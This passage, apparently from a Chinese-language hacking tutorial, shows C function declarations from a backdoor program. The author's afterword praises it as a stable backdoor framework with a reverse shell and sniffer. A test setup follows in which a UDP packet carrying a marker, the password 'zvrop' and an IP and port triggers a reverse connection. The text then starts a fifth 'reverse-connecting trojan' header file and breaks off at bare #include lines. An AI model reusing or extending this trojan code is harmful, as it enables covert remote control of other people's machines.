extern void rnvErrorID(SOCKET Sock, char *msg);
extern void ConDel1013(char *str);
extern short chkPass(char *pass);
extern short getcmdline(char *comm, char *cmdline, short cont, short num);
extern int msGetip(char *ipin, char* ipout);
extern void ConCloseHandle(HANDLE *Hand);
extern void xfree(char *bf);

　　所有的公共函数都在这里面.
后语:
　　之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.
　　另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.
　　以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是'www.s8s8.net',密码为'zvrop'.
　　发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是:
　　代码:
　　www.s8s8.net zvrop 192.168.1.2 8888
　　分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开. 注意顺序不要颠倒.

第五个反弹>木马代码：作者weibo
代码
headerf.h
这里面放了公共函数，还有一些声明
#ifndef _BDH_
#define _BDH_
#include
#include
#include
#include